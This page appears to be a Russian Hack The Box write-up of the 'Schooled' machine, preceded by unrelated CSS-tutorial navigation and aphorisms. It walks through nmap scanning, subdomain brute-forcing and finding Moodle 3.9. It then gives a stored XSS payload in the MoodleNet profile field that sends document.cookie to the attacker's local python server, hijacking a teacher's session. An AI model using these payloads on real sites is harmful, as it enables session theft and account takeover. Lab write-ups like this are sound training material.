Невозможно отучить людей изучать самые ненужные предметы.
Введение в CSS
Преимущества стилей
Добавления стилей
Типы носителей
Базовый синтаксис
Значения стилевых свойств
Селекторы тегов
Классы
CSS3
Надо знать обо всем понемножку, но все о немногом.
Идентификаторы
Контекстные селекторы
Соседние селекторы
Дочерние селекторы
Селекторы атрибутов
Универсальный селектор
Псевдоклассы
Псевдоэлементы
Кто умеет, тот делает. Кто не умеет, тот учит. Кто не умеет учить - становится деканом. (Т. Мартин)
Группирование
Наследование
Каскадирование
Валидация
Идентификаторы и классы
Написание эффективного кода
Вёрстка
Изображения
Текст
Цвет
Линии и рамки
Углы
Списки
Ссылки
Дизайны сайтов
Формы
Таблицы
CSS3
HTML5
Блог для вебмастеров
Новости мира Интернет
Сайтостроение
Ремонт и советы
Все новости
Справочник от А до Я
HTML, CSS, JavaScript
Афоризмы о учёбе
Статьи об афоризмах
Все Афоризмы
Помогли мы вам |
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Адрес машины — 10.10.10.234, добавляем его в /
и начинаем сканирование портов.
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта.
ports=$(nmap -p- --min-rate=500 $1 | grep^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).
Находим три открытых порта: 22 (служба SSH), 80 (веб‑сервер Apache 2.4.46) и 33060. Первым делом пройдемся по сайту и соберем информацию.
На странице About мы находим почту для связи, а также домен — schooled.
.
Больше ничего найти не удалось, а так как schooled.
оказался зарегистрированным доменом, стоит помимо сканирования файлов и директорий перебрать также и поддомены. Я это делаю с помощью Burp Intruder — он умеет продолжать сканировать после обрыва соединения. Перенаправляем запрос в Intruder, указываем словарь /
из набора SecLists, а также установим 120 потоков.
И мы находим новый поддомен — moodle.
. Сразу добавим его в /
и посмотрим, что там.
Moodle — это веб‑приложение, при помощи которого можно делать сайты для онлайнового обучения. Система позволяет настраивать макеты страниц, к тому же можно наладить интеграцию с разным ПО, включая инструменты для общения, совместной работы и управления документами. Что очень важно, Moodle распространяется свободно и имеет открытый исходный код.
Так как мы имеем дело с готовым продуктом, нет смысла «тыкать кавычки» самостоятельно. Гораздо продуктивнее будет узнать точную версию и поискать информацию или отчеты об уже имеющихся уязвимостях, а возможно, и готовые эксплоиты. Можно найти исходные коды на GitHub и узнать, где в программе расположена информация о текущей версии. Смотрим, что у нас на сервере, и узнаем, что используется версия 3.9.
Теперь можем поискать информацию об уязвимостях и готовых эксплоитах.
При пентесте лучше всего искать эксплоиты при помощи Google, поскольку этот поисковик заглядывает и в личные блоги, и в самые разные отчеты. Ускорят дело специализированные базы вроде Exploit-DB — там часто можно обнаружить подходящие варианты. Если ты работаешь в специализированной ОС вроде Kali Linux, то эта база у тебя уже есть и для поиска можно использовать утилиту searchsploit
.
Для версии 3.9 эксплоитов нет, но есть для более свежей 3.10.3. Стоит ее попробовать, так как есть вероятность, что уязвимость присутствует и в ранних версиях. Посмотрим детали уязвимости.
searchsploit -pphp/webapps/49714.txt
Получение эксплоитаОписание уязвимости Эта версия уязвима к атаке XSS, причем хранимой. Для проверки уязвимости регистрируемся и авторизуемся в системе. Внедрить код можно через поле MoodleNet profile в настройках пользователя. Давай внедрим следующий код, который будет показывать окошко с текстом 1
.
<img src="1" onerror="alert(1)" />
Сохранение нагрузкиТак как это Stored XSS, код будет выполняться каждый раз при просмотре пользователем нашего профиля.
Так как уязвимость подтверждена, мы можем украсть cookie. Для этого откроем на локальном хосте веб‑сервер python3
.
python3 -mhttp.server 8888
А теперь внедрим код, который будет загружать с нашего сервера картинку, а в качестве параметра будем передавать куки. Так они и попадут к нам.
<img src="1" onerror='this.src="http://10.10.14.195:8888/cookie="+document.cookie' />
Логи веб‑сервераСреди множества запросов мы находим тот, значение параметра которого отличается. Подставляем полученные cookie и перезагружаем страницу. Так мы начинаем работать под учетной записью преподавателя.
|
|